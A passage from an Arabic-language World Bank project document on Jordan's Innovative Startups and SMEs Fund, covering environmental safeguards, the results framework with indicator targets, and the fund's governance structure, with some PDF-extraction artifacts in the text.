نطاقها سيكون محدوداً نظرا لحجم المؤسسات الصغيرة والمتوسطة. ً 92 -سيتم تغطية التكلفة المرتبطة بتنفيذ صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة بحسب تكاليف التشغيل/ التكاليف اإلدارية المعيارية للشركة الخاصة حيث تلتزم الشركات بإتباع قانون البيئة األردني. مع ذلك من المتوقع أن يحتفظ الصندوق بفرصة الحصول على الخدمات االستشارية الخاصة بالضمانات الوقائية البيئية لتقديم االستشارة إلى الصندوق "بحسب الحاجة"، وتشير هذه الخدمات ضمناً إلى أن الصندوق له الحق في االحتفاظ بالخدمات المختلفة للضمانات الوقائية البيئية حين تكون متاحة عند الحاجة إلى الخدمات. يبلغ إجمالي التكاليف التقديرية، التي سوف تغطي التدريب، واالستشارات وعمليات التدقيق المرتبطة بتنفيذ إطار اإلدارة البيئية واالجتماعية خالل مدة المشروع 306 ألف دوالر تقريباً. وتعد هذه قيمة تقديرية قابلة للتغير بحسب النسبة المئوية لتطبيقات المشروع الفرعي الذي ينفذه الصندوق والذي يتطلب وضع خطط إدارة بيئية واجتماعية. 93 -سوف تتطلب عملية فحص المؤسسة الصغيرة أو المتوسطة وثائق تثبت قيام مقدم الطلب بمأل استمارة معلومات المشروع بشأن المشروع المستهدف، وتقديمها إلى وزارة البيئة من أجل فحصها عمال بالقانون األردني. يعتبر إطار اإلدارة البيئية واالجتماعية أداة للفحص والمتابعة، ويقدم مرجعية ألدوات اإلدارة البيئية واالجتماعية والتخفيف من آثارها. تقوم لجنة مركزية بين الوزارات معنية بإصدار التراخيص، بمراجعة استمارة معلومات المشروع، وبعد إجراء مسح للموقع تحدد ما إذا كان قد تم ات ملزمة قانونا بشأن نطاق التقييم. من المتوقع من ً تصنيف المشروع ضمن الفئة "أ" أم "ب" أم "ج". تصدر الوزارة إرشاد البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 35 مقدم الطلب أن يقدم الوثائق الخاصة بعملية الفحص التي أجرتها وزارة البيئة األردنية، ويتم إتباع عملية التصنيف قبل االنتقال إلى مرحلة التمويل. تم إعداد إطار اإلدارة البيئية واالجتماعية، الذي يضم قائمة بأنشطة فرعية غير مسموح بها، وعملية الفحص والمتابعة ونظام تقديم التقارير وتضمينه في دليل عمليات المشروع من أجل مواجهة المخاطر البيئية واالجتماعية المحتملة. 94 -من المتوقع تضمين الشركات التي تعمل في مجال األعمال التجارية الزراعية، رغم أن نوعية األعمال المتوقعة تقتصر على تلك التي لها طبيعة ابتكارية في مجال التعبئة والمعالجة والتسويق والتوزيع، والبعيدة عن أنشطة إنتاج أو استخدام المبيدات الحشرية. لذا، ال يتم تفعيل سياسة عمليات البنك رقم 4-09 بشأن مكافحة اآلفات. سيتم استبعاد أي مشروعات فرعية تنطوي على إنتاج أو استخدام مبيدات حشرية من المشروع، وإدراجها في األنشطة غير المسموح بها في إطار اإلدارة البيئية واالجتماعية. 95 -سيتم تدريب مسئولي االستثمار في صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة على كيفية دمج عمليتي الفحص والتصنيف البيئي في عملية تقديم الطلبات والموافقة عليها. سوف يتعاقد الصندوق مع أخصائي بيئي إلجراء عمليات تدقيق احتياطي لضمان تنفيذ العمليات ومتابعتها بشكل صحيح، وتقديم كافة الوثائق بحسب الحاجة. ح- سياسات أخرى للضمانات الوقائية إشراك المواطن/ العميل 96 -كجزء من أنشطة إشراك المواطن، سوف يكون صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة مسئوال عن إجراء مسحين على األقل عن رضاء المستفيد من أجل معرفة آراء المستفيدين من المشروع حول الخدمات المقدمة لهم وحول أداء صناديق الشركاء واألطراف الوسيطة في النظام البيئي الشامل. يتضمن إطار المتابعة والتقييم الوارد في الملحق رقم 1 نموذج استبيان لمتابعة هذا المؤشر. ط- آلية البنك الدولي للتعامل مع الشكاوى والتظلمات 97 -من حق المجتمعات المحلية أو األفراد الذين يرون أنهم قد تأثروا بالسلب من تنفيذ المشروعات التي يدعمها البنك الدولي، التقدم بشكاوى وفقاً آلليات التعامل مع الشكاوى والتظلمات التي تم وضعها على مستوى المشروع أو الخدمة ذات الصلة لدى البنك الدولي. تضمن هذه الخدمة النظر في الشكاوى المقدمة بشكل عاجل من أجل التعامل مع المخاوف المرتبطة بالمشروع. كذلك يمكن لألطراف المتأثرة بالمشروع، سواء كانت مجتمعات محلية أم أفراد، التقدم بشكاواهم إلى هيئة التفتيش المستقلة التابعة للبنك الدولي والتي تحدد ما إذا كان قد وقع ضرر أو من المحتمل أن يقع ضرر نتيجة عدم التزام البنك الدولي بسياساته وإجراءاته. يمكن تقديم الشكاوى في أي وقت بعد إخطار البنك الدولي مباشرًة بالمخاوف، ويتم منح إدارة البنك الفرصة للرد. لمزيد من المعلومات بشأن تقديم الشكاوى إلى خدمة التعامل مع التظلمات المؤسسية التابعة للبنك الدولي، برجاء http://www.worldbank.org/en/projects-operations/products-and- اإللكتروني الموقع زيارة service-redress-grievance/services .لمزيد من المعلومات عن كيفية تقديم شكاوى إلى هيئة التفتيش التابعة للبنك الدولي، يرجى زيارة الموقع اإللكتروني org.inspectionpanel.www . البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 36 . إطار النتائج ومتابعتها سابعاً إطار النتائج الدولة: األردن مشروع صندوق الشركات الناشئة اإلبتكارية الهدف اإلنمائي للمشروع يتمثل الهدف اإلنمائي للمشروع في زيادة تمويل رأس المال الخاص في المراحل المبكرة ألعمال المؤسسات االبتكارية الصغيرة والمتوسطة. مؤشرات الهدف اإلنمائي للمشروع اسم المؤشر المؤشر األساسي وحدة القياس خط األساس الهدف النهائي التكرار مصدر البيانات/ المنهجية المسئولية عن جمع البيانات االسم: رأس المال المعبأ المبلغ )بالدوالر األمريكي( 00.0 00.71500000 نصف سنوي استثمارات حافظة الصندوق/ اتفاقيات المساهمين مدير الصندوق/ الشركة األردنية لضمان القروض رأس المال الخاص المعبأ لتمويل المرحلة المبكرة/ مرحلة التأسيس من خالل المشروع المبلغ )بالدوالر األمريكي( 00.0 00.14500000 نصف سنوي اتفاقيات المساهمين مدير الصندوق/ الشركة األردنية لضمان القروض رأس المال المخاطر الخاص المعبأ من خالل المشروع المبلغ )بالدوالر األمريكي( 00.0 00.75000000 سنوي اتفاقيات المساهمين في صندوق P-Pواتفاقيات المساهمين في االستثمارات الصندوق*/ الشركة األردنية لضمان القروض الوصف: يتعقب المؤشر الرئيسي مبلغ التمويل المباشر )في صورة رأس مال و/أو دين( الذي تم جمعه من الكيانات الخاصة، باستخدام تمويل من القطاع الخاص، بغرض تمويل االستثمارات في إطار عمليات أو اسستثمارات البنك الدولي لإلنشاء والتعمير ومؤسسة التنمية الدولية )رأس المال الخاص( والمرتبطة بشكل مباشر بهذه العملية. االسم: الشركات المستفيدة الحاصلة على التمويل من خالل المشروع عدد 00.0 00.150 سنوي مسح منتظم وحدة إدارة المشروع في الشرركة األردنية لضمان القروض الشركات المستفيدة الحاصلة على تمويل المرحلة المبكرة/ مرحلة التأسيس من خالل المشروع عدد 00.0 00.80 سنوي مسح منتظم الصندوق* البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 37 اسم المؤشر المؤشر األساسي وحدة القياس خط األساس الهدف النهائي التكرار مصدر البيانات/ المنهجية المسئولية عن جمع البيانات الشركات المستفيدة الحاصلة على تمويل رأس المال المخاطر من خالل المشروع 70.00 0.00 عدد الشركات المستفيدة التي تديرها المرأة والحاصلة على التمويل من خالل المشروع 25.00 0.00 مئوية نسبة الشركات المستفيدة التي يديرها الشباب والحاصلة على التمويل من خالل المشروع 30.00 0.00 مئوية نسبة الشركات المستفيدة المتخرجة من مكون تدفق الصفقات والحاصلة على التمويل من خالل المشروع عدد 00.0 00.100 سنوي مسح منتظم الصندوق*/ الشركة األردنية لضمان القروض الوصف: يقيس هذا المؤشر إجمالي عدد الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية الحاصلة على التمويل من خالل المشروع )يتم حصر الشركات الحاصلة على تمويل متابعة أنشطة المشروع مرة واحدة فقط(. االسم: الشركات المستفيدة التي أو عملية جديدة طرحت منتجاً نسبة مئوية 00.0 00.100 سنوي تقديم تقارير منتظمة عن المشروع الصندوق*/ الشركة األردنية لضمان القروض الوصف: سوف يتعقب هذا المؤشر اإلبتكار الناشئ من الجهات الحاصلة على المنح واستثمارات رأس المال من خالل المشروع. * صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية مؤشرات النتائج الوسطية البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 38 اسم المؤشر المؤشر األساسي وحدة القياس خط األساس الهدف النهائي التكرار مصدر البيانات/ المنهجية المسئولية عن جمع البيانات االسم: إجمالي الوسطاء الماليين الحاصلين على التمويل من خالل المشروع عدد 00.0 00.10 سنوي مسح منتظم الصندوق*/ الشركة األردنية لضمان القروض الوسطاء الماليين المعنيين بمشروعات رأس المال المخاطر الحاصلين على التمويل من خالل المشروع عدد 00.0 00.6 سنوي مسح منتظم الصندوق*/ الشركة األردنية لضمان القروض الوسطاء الماليين المعنيين بالمرحلة المبكرة/ مرحلة التأسيس الحاصلين على التمويل من خالل المشروع عدد 00.0 00.4 سنوي مسح منتظم الصندوق*/ الشركة األردنية لضمان القروض الوصف: يقيس هذا المؤشر العدد اإلجمالي للوسطاء الماليين الحاصلين على التمويل من خالل المشروع. )يتم حصر الصناديق الحاصلة على تمويل متابعة أنشطة المشروع مرة واحدة فقط(. االسم: الجهات المستفيدة الحاصلة على خدمات معجالت األعمال من خالل المشروع عدد 00.0 00.150 سنوي مسح منتظم الصندوق*/ مقدمي خدمات النظام البيئي الشامل المستفيدات من النساء الحاصالت على خدمات معجالت األعمال من خالل المشروع 30.00 0.00 مئوية نسبة المستفيدون من الشباب الحاصلين على خدمات معجالت األعمال من خالل المشروع 30.00 0.00 مئوية نسبة الوصف: عدد الشركات الناشئة/ المؤسسات الصغيرة والمتوسطة الحاصلة على خدمات معجالت األعمال لمدة 4 إلى 6 أشهر. االسم: الممولون رعاة األعمال المحتملون الحاصلون على التدريب من خالل المشروع عدد 00.0 00.30 سنوي اتفاقيات منح ما قبل التأسيس/ مقدمي الخدمات التدريبية الصندوق* الوصف: الكيانات الحاصلة على المنح رعاة األعمال المحتملون الحاصلون على التدريب البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 39 اسم المؤشر المؤشر األساسي وحدة القياس خط األساس الهدف النهائي التكرار مصدر البيانات/ المنهجية المسئولية عن جمع البيانات االسم: اتفاقيات المساهمين أو اتفاقيات الشراكة الموقعة مع مقدمي تمويل رأس المال/ الوسطاء الماليين عدد 00.0 00.3 كل 3 أشهر اتفاقيات المساهمين الصندوق*/ الشركة األردنية لضمان القروض الوصف: يقيس هذا المؤشر خطوة أساسية في تأسيس الصناديق المشتركة بين القطاعين العام والخاص االسم: المستفيدون الراضون عن الخدمات التي حصلوا عليها وعن أداء الصناديق نسبة مئوية 00.0 00.75 سنوي مسح منتظم الصندوق*/ الشركة األردنية لضمان القروض الوصف: يقيس هذا المؤشر أداء إدارة صناديق تمويل مرحلة التأسيس والمرحلة المبكرة ومرحلة رأس المال المخاطر . سوف تضيف النتائج التي جمعها الصندوق إلى تصميم المشروع وتعديل أي عناصر التي قد ن حيث مشاركة الوسطاء الماليين أو حجم االستثمارات. ونظرا يعمل الطرفان معاً على استخدام هذه ً تحول دون تحقيق النتائج المرجوة م إلمكانية وصول الصندوق والبنك الدولي إلى هذه البيانات، فمن المتوقع أن النتائج كحلقة تعقيبات ذات صلة بالمشروع. االسم: الشركات المستفيدة التي تلقت برامج دعم الجاهزية لالستثمار وخدمات تنمية األعمال من خالل المشروع عدد 00.0 00.675 سنوي مسح منتظم الصندوق*/ الشركة األردنية لضمان القروض الشركات المستفيدة التي تديرها المرأة والتي تلقت برامج دعم الجاهزية لالستثمار وخدمات تنمية األعمال من خالل المشروع 30.00 0.00 مئوية نسبة الشركات المستفيدة التي يديرها الشباب والتي تلقت برامج دعم الجاهزية لالستثمار وخدمات تنمية األعمال من خالل المشروع 30.00 0.00 مئوية نسبة الشركات المستفيدة التي تلقت برامج دعم الجاهزية لالستثمار من خالل المشروع 600.00 0.00 عدد الشركات المستفيدة التي تلقت عدد 00.0 00.75 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 40 اسم المؤشر المؤشر األساسي وحدة القياس خط األساس الهدف النهائي التكرار مصدر البيانات/ المنهجية المسئولية عن جمع البيانات خدمات تنمية األعمال من خالل المشروع الوصف: يقيس هذا المؤشر عدد الجهات المستفيدة التي تلقت منح دعم الجاهزية لالستثمار وخدمات تنمية األعمال من خالل المشروع كوسيلة للدعم لتصبح مؤهلة/ جاهزة للحصول على االستثمار من خالل الصندوق القيم المستهدفة مؤشرات الهدف اإلنمائي للمشروع اسم المؤشر خط األساس السنة األولى السنة الثانية السنة الثالثة السنة الرابعة السنة الخامسة السنة السادسة الهدف النهائي 71500000.00 71500000.00 60000000.00 45000000.00 35000000.00 20000000.00 10000000.00 0.00 المعبأ المال رأس رأس المال الخاص المعبأ لتمويل المرحلة المبكرة/ مرحلة التأسيس من خالل المشروع 14500000.00 14500000.00 12000000.00 11000000.00 9000000.00 60000000.00 5000000.00 0.00 رأس المال المخاطر الخاص المعبأ من خالل المشروع 57000000.00 57000000.00 48000000.00 34000000.00 26000000.00 14000000.00 5000000.00 0.00 الشركات المستفيدة الحاصلة على التمويل من خالل المشروع 150.00 150.00 100.00 80.00 60.00 40.00 10.00 0.00 الشركات المستفيدة الحاصلة على تمويل المرحلة المبكرة/ مرحلة التأسيس من خالل المشروع 80.00 80.00 70.00 60.00 35.00 15.00 4.00 0.00 الشركات المستفيدة الحاصلة على تمويل رأس المال المخاطر من خالل المشروع 70.00 70.00 60.00 20.00 25.00 25.00 6.00 0.00 الشركات المستفيدة التي تديرها المرأة والحاصلة على التمويل من خالل المشروع 25.00 25.00 25.00 25.00 25.00 25.00 25.00 0.00 الشركات المستفيدة التي يديرها الشباب والحاصلة على التمويل من خالل المشروع 30.00 30.00 30.00 30.00 30.00 30.00 30.00 0.00 100.00 100.00 60.00 40.00 20.00 10.00 0.00 0.00 تدفق مكون من المتخرجة المستفيدة الشركات البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 41 الصفقات والحاصلة على التمويل من خالل المشروع أو عملية الشركات المستفيدة التي طرحت منتجاً جديدة 100.00 100.00 100.00 100.00 100.00 100.00 100.00 0.00 مؤشرات النتائج الوسطية اسم المؤشر خط األساس السنة األولى السنة الثانية السنة الثالثة السنة الرابعة السنة الخامسة السنة السادسة الهدف النهائي إجمالي الوسطاء الماليين الحاصلين على التمويل من خالل المشروع 10.00 10.00 9.00 7.00 6.00 4.00 2.00 0.00 الوسطاء الماليين المعنيين بمشروعات رأس المال المخاطر الحاصلين على التمويل من خالل المشروع 6.00 6.00 5.00 4.00 3.00 2.00 1.00 0.00 الوسطاء الماليين المعنيين بالمرحلة المبكرة/ مرحلة التأسيس الحاصلين على التمويل من خالل المشروع 4.00 4.00 4.00 4.00 3.00 2.00 1.00 0.00 االسم: الجهات المستفيدة الحاصلة على خدمات معجالت األعمال من خالل المشروع 150.00 150.00 150.00 150.00 90.00 45.00 15.00 0.00 المستفيدات من النساء الحاصالت على خدمات معجالت األعمال من خالل المشروع 30.00 30.00 30.00 30.00 30.00 30.00 30.00 0.00 المستفيدون من الشباب الحاصلين على خدمات معجالت األعمال من خالل المشروع 40.00 40.00 40.00 40.00 40.00 40.00 40.00 0.00 الممولون رعاة األعمال المحتملون الحاصلون على التدريب من خالل المشروع 30.00 30.00 30.00 30.00 20.00 10.00 0.00 0.00 اتفاقيات المساهمين أو اتفاقيات الشراكة الموقعة مع مقدمي تمويل رأس المال/ الوسطاء الماليين 3.00 3.00 3.00 3.00 2.00 2.00 1.00 0.00 المستفيدون الراضون عن الخدمات التي حصلوا عليها وعن أداء الصناديق 75.00 75.00 75.00 75.00 50.00 50.00 50.00 0.00 675.00 675.00 675.00 535.00 400.00 365.00 130.00 0.00 الجاهزية دعم برامج تلقت التي المستفيدة الشركات البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 42 لالستثمار وخدمات تنمية األعمال من خالل المشروع الشركات المستفيدة التي تديرها المرأة والتي تلقت برامج دعم الجاهزية لالستثمار وخدمات تنمية األعمال من خالل المشروع 30.00 30.00 30.00 30.00 30.00 30.00 30.00 0.00 الشركات المستفيدة التي يديرها الشباب والتي تلقت برامج دعم الجاهزية لالستثمار وخدمات تنمية األعمال من خالل المشروع 30.00 30.00 30.00 30.00 30.00 30.00 30.00 0.00 الشركات المستفيدة التي تلقت برامج دعم الجاهزية لالستثمار من خالل المشروع 600.00 600.00 600.00 480.00 360.00 240.00 120.00 0.00 الشركات المستفيدة التي تلقت خدمات تنمية األعمال من خالل المشروع 75.00 75.00 75.00 55.00 40.00 25.00 10.00 0.00 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 43 ملحق رقم 1 :وصف تفصيلي للمشروع الدولة: المملكة األردنية الهاشمية مشروع صندوق تمويل الشركات الناشئة اإلبتكارية 1 .طلبت حكومة األردن قرضاً بقيمة 50 مليون دوالر أمريكي من البنك الدولي من أجل إنشاء مؤسسة تمويل تستثمر وتدعم الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية. من أجل هذا الغرض سيتم استخدام قرض البنك الدولي إلنشاء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية مسجل كشركة أردنية يتم إدارتها وفقاً للممارسات التجارية الخالصة من قبل مدير خاص يتم اختياره على أساس تنافسي. سوف يكون الهدف الرئيسي لهذا الصندوق هو تنفيذ أنشطة المشروع، التي تتضمن القيام باستثمارات مساهمة في رأس المال، أو تمويل مختلط من رأس المال والدين في الشركات الناشئة االبتكارية من خالل الصندوق، أو بشكل غير مباشر عبر الصناديق، والقيام باألنشطة من خالل مؤسسات دعم النظام البيئي الشامل من أجل تحقيق تدفق جيد من االستثمارات المحتملة الناجحة. يتضمن القسم "ب" أدناه تفاصيل أنشطة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، الذي سوف يمارس عمله لمدة 12 عام مع إمكانية تمديد الفترة لثالث سنوات أخرى. 2 .سوف تكون الشركة األردنية لضمان القروض مسئولة عن إنشاء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية ، واختيار مديراً له من القطاع الخاص، وضمان أن يتم تنفيذ المشروع وتقديم التقارير ذات الصلة،وفقاً للمعايير التي حددها البنك الدولي في دليل عمليات المشروع. ويلتزم البنك المركزي األردني باستثمار مبلغ قدره 48 مليون دوالر في هذا الصندوق إضافة إلى قرض صندوق البنك الدولي، لكن سيتم تحديد مراحل استراتيجية االستثمار لضمان مشاركة القطاع الخاص في االستثمار بالقدر الممكن. أ- الحوكمة ودور الجهات المعنية الرئيسية في صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية 3 .لن تشارك الحكومة في عمليات أو إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية. سوف تقوم لجنة تمثل الحكومة بدور متابعة رفيع المستوى، حيث تتلقى تقارير بشكل سنوي من الشركة األردنية لضمان القروض بشأن إنجازات الصندوق فيما يتعلق بتحقيق الهدف اإلنمائي. وسوف تتألف هذه اللجنة من ممثلين من وزارة التخطيط والتعاون الدولي، والبنك المركزي األردني، ووزارة المالية، ووزارة االتصاالت وتكنولوجيا المعلومات. وفيما يلي هيكل الحوكمة ودور الهيئة التي تعد العضو الرئيسي في الصندوق: الشركة األردنية لضمان القروض 4 .سوف تنشئ الشركة االردنية لضمان القروض صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية بطريقة قانونية باعتباره شركة مساهمة خاصة، وتمتلك 51 %من األسهم، في حين يتم منح 49 %من األسهم إلى البنك المركزي األردني. سوف تتولى الشركة األردنية منصب رئيس مجلس إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، وسوف تكون الهيئة المنفذة للمشروع وفقاً لشروط البنك الدولي المسؤول عن ضمان تنفيذ الصندوق للمشروع بطريقة صحيحة، وتقديمه للتقارير ذات الصلة. ولكن لن يكون للشركة أي دور في تنفيذ األنشطة، أو اختيار االستثمارات، بل ستختار مدير الصندوق من القطاع الخاص على أن يتمتع بخبرة دولية. سوف تقوم عملية االختيار والتقييم إما على أساس الممارسات التنافسية، أو االختيار المباشر طبقاً لمبادئ المشتريات المحددة في دليل عمليات المشروع. سوف تعد تلزم بتشكيل لجنة تقييم مكونة من وتطرح الشركة األردنية الدعوة إلى تقديم عروض لشغل وظيفة مدير الصندوق، وسوف ُ خبراء مستقلين من القطاع الخاص. ويتم اختيار وتقييم مدير الصندوق استناداً إلى معايير وضعها البنك الدولي، ووافق عليها إضافة سوف تحرص الشركة األردنية ً مجلس إدارة الشركة األردنية دون ممانعة فنية من جانب البنك الدولي. إلى ذلك، لضمان القروض، إلى جانب تنفيذها ألنشطة المشروع، على أن يكون مدير الصندوق الذي يتم اختياره، مسؤوال عن جمع كافة البيانات والمعلومات المطلوبة لمؤشرات المشروع، واإلشراف على عملية تقديم التقارير إلى البنك الدولي عمال باإلرشادات الواردة في دليل عمليات المشروع بما في ذلك تلك المتعلقة باإلدارة المالية، ومبادئ المشتريات، والمبادئ التوجيهية للضمانات الوقائية. البنك المركزي األردني 5 .لن يكون للبنك المركزي األردني أي دور في عمل صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية. لن يقدم البنك المركزي األردني سوى رأس المال، ويكون له وضع الشريك الموصي )أي ال يتمتع بحق الرفض، ولديه أسهم ال تخول له التصويت، وليس له مقعد في مجلس اإلدارة(. وفقاً لقانون الشركات، يمكن للبنك المركزي األردني االستعانة بالشركة األردنية لضمان القروض لتمثله في مجلس اإلدارة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 44 مجلس إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية 6 .سوف يكون لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية مجلس إدارة تختاره الشركة األردنية لضمان القروض وفقاً لقانون الشركات األردني، واستناداً إلى معايير البنك الدولي ودون ممانعة من جانبه. سيكون المدير العام للشركة األردنية لضمان القروض هو رئيس مجلس اإلدارة. سوف يتكون مجلس إدارة الصندوق، باإلضافة إلى المدير العام للشركة األردنية، من نحو ستة خبراء من القطاع الخاص في أنشطة تمويل رأس المال، وريادة األعمال، وقانون الشركات، والمحاسبة/المالية. ستكون مدة عمل مجلس اإلدارة أربع سنوات، وتنتهي عضوية أي عضو في مجلس اإلدارة بانتهاء مدة عمل مجلس اإلدارة أو بوفاته، أو باستقالته أو بإقالته من قبل المجلس، وسوف يتم يتم انتخاب أعضاء جدد للمجلس، وفقا للطريقة التي يحددها قانون الشركات األردني. ً أو تجديد عضوية أعضاء المجلس الحالي، 7 .يتعين أن يوافق مجلس اإلدارة على اختيار مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية على أساس توصيات لجنة التقييم. سوف يفوض المجلس مدير الصندوق للقيام بإدارة االستثمارات بما فيها كل عمليات اتخاذ القرار المتعلقة بتنفيذ كافة األنشطة، والعمليات األخرى بما في ذلك اختيار فريق العمل. كذلك سوف يوافق المجلس على اختيار لجنة االستثمار وتفويضها في أمر وضع استراتيجية االستثمار الخاصة بصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، واختيار االستثمارات )كل االستثمارات أو استثمارات رأس المال التي تكون أقل من حد أدنى محدد(، ووضع جزاءات على سحب االستثمارات أو تجنب الجزاءات. سوف يكون مدير الصندوق جزء من لجنة االستثمار. سوف يحتفظ مجلس اإلدارة باإلشراف من أجل ضمان إنجاز الشركة ألعمالها ووفائها بالتزاماتها بشكل صحيح، وتحقيقها للهدف اإلنمائي. 8 .سوف يضطلع مجلس اإلدارة بعدة مسئوليات من بينها ما يلي: أ( اختيار مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية وفقا لمعايير البنك الدولي، دون ً ممانعة فنية من جانبه ب( اختيار لجنة االستثمار وفقاً لمعايير البنك الدولي، دون ممانعة فنية من جانبه ت( رئاسة اجتماعات لجنة االستثمار التي يتم خاللها اختيار أحد اعضاء مجلس اإلدارة لرئاسة المجلس )ال تشارك الشركة األردنية لضمان القروض في ذلك األمر( ث( فرض جزاءات على االستثمارات التي تحددها لجنة االستثمار، والتي تفوق قيمتها مستوى رأس المال المحدد، أو تفويض اختيار كافة االستثمارات إلى لجنة االستثمار. ال يمكن لمجلس اإلدارة اتخاذ أي قرار خاص باالستثمار أو بيع األصول دون توصية من لجنة االستثمار( ج( اإلشراف الكامل على أنشطة اإلدارة التنفيذية ح( تعيين مدقق داخلي لتنفيذ الهدف، وعمليات التدقيق المالي المستقلة التي تتم داخل المؤسسة خ( مهام أو تفويضات أخرى على النحو المنصوص عليه في قانون الشركات األردني 9 .للتأهل لعضوية مجلس اإلدارة، يتعين أن يتوافر في العضو ما يلي: أ( أال يكون تابع ا للحكومة ً ب( أن يكون لديه خبرة في مجال رأس المال المخاطر واالستثمار وقانون الشركات والمحاسبة ت( أن يكون لديه خبرة في النظام البيئي الشامل لريادة األعمال، سواء كمستثمر أو كرائد من رواد األعمال ث( أن يكون لديه تضارب مصالح محدود، أو ال يكون لديه إطالقاً – انظر الفقرة 25 أدناه بشأن تضارب المصالح ج( أن يكون لديه خبرة تحليلية وفنية وتشغيلية كبيرة مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية 10 .سوف يضع مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية للجنة االستثمار استراتيجية االستثمار الخاصة بالصندوق من أجل تحقيق الهدف اإلنمائي للمشروع، وتطبيق المعايير، وسوف يكون وحده مسؤوال عن ضمان تنفيذ كل أنشطة المشروع بما في ذلك االستثمارات وتحقيق تدفق الصفقات. سوف يقوم مدير الصندوق بكافة األعمال الضرورية في التسويق والتواصل والتدريب وبناء القدرات إلى جانب تنظيم فعاليات الدعم والقيام باألنشطة المتعلقة بنجاح المشروع. سوف يكون مدير الصندوق مسئوال عن اختيار فريق عمل الصندوق، وكذلك سوف يكون مسئوال عن ضمان إتمام وفقا للمبادئ التوجيهية الخاصة بالبنك الدولي الموضحة تفصيال في دليل عمليات ً اإلجراءات التنفيذية، وتقديم التقارير المشروع. 11 .سوف تتم مكافأة مدير الصندوق بحسب أفضل الممارسات المطبقة في المجال، والتي تشمل هيكل مكافأة وحوافز يرتبط باألداء، وذلك لضمان تقديم مستثمري القطاع الخاص أقصى حد من التمويل )انظر ملحق رقم 2.) البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 45 لجنة االستثمار 12 .لن يكون للشركة األردنية لضمان القروض، والبنك المركزي األردني، وأي ممثل للحكومة أو مسئول حكومي، أي دور في اختيار وإدارة االستثمارات، حيث يقع هذا ضمن نطاق مسئولية لجنة االستثمار الخاصة بالصندوق. سوف تتكون لجنة االستثمار من خمسة أعضاء من بينهم مدير الصندوق، ويتمثل هدفها في وضع استراتيجية االستثمار وتقييمها والموافقة عليها ومراجعة كافة أشكال توظيف رأس المال في برنامج الصندوق لحجم االستثمارات التي تقل عن المستوى المحدد الذي وافق عليه مجلس اإلدارة الذي يفوض اللجنة في اختيار الموافقة على كافة االستثمارات. وسوف تتولى اللجنة أيضاً كل عمليات التخارج وعمليات إعادة الهيكلة في كافة المجاالت التي يشارك فيها صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية بحسب تفويض مجلس اإلدارة لها. 13 .يجب أن يحرص مجلس اإلدارة على أن يكون أعضاء لجنة االستثمار مالئمين ومؤهلين، وأن تتم عملية االختيار بشكل سليم، وأن يتم توزيع الصفات والمهام بحيث يتم تغطية كل نوع من أنواع االستثمارات سواء كانت مباشرة أو غير مباشرة. سوف يقترح مدير الصندوق على مجلس اإلدارة أسماء أعضاء لجنة االستثمار، في حين يتولى المجلس تعيين أعضاء لجنة وفقا لمعايير دليل عمليات المشروع دون ممانعة فنية من جانب البنك الدولي. ً االستثمار 14 .للتأهل لعضوية لجنة االستثمار، يتعين أن يتوافر في العضو ما يلي: أ( أال يكون تابع ا للحكومة ً ب( أن يكون لديه خبرة في مجال رأس المال المخاطر/ االستثمار ت( أن يكون لديه الخبرة في النظام البيئي الشامل لريادة األعمال، سواء كمستثمر، أو أحد رواد األعمال ث( أن يكون لديه تضارب مصالح محدود أو ال يكون لديه إطالقاً – انظر الفقرة 25 أدناه بشأن تضارب المصالح ج( أن يكون لديه خبرة تحليلية وفنية وتشغيلية كبيرة 15 .تتضمن مهام والتزامات لجنة االستثمار ما يلي: أ( الموافقة الرسمية على االستثمارات بحسب تفويض مجلس اإلدارة ب( فهم أهداف االستثمار طويلة وقصيرة المدى في صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية. ت( تبني ومراجعة سياسات االستثمار الخاصة بصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية ومبادئه التوجيهية. ث( وضع إطار استراتيجي داخل إطار الصندوق األكبر لتوظيف رأس المال ج( التصريح بتنفيذ أنشطة توظيف رأس المال في إطار المبادئ التوجيهية المحددة ح( متابعة ومراجعة أداء االستثمارات المباشرة وغير المباشرة بما في ذلك اتخاذ أي إجراءات تصحيحية إصالحية ضرورية بحسب ما تدعو الحاجة خ( الموافقة على كافة عمليات التخارج 